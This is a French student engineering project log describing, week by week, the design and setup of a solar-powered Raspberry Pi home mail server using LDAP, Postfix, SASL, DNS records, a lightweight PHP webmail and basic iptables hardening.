Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
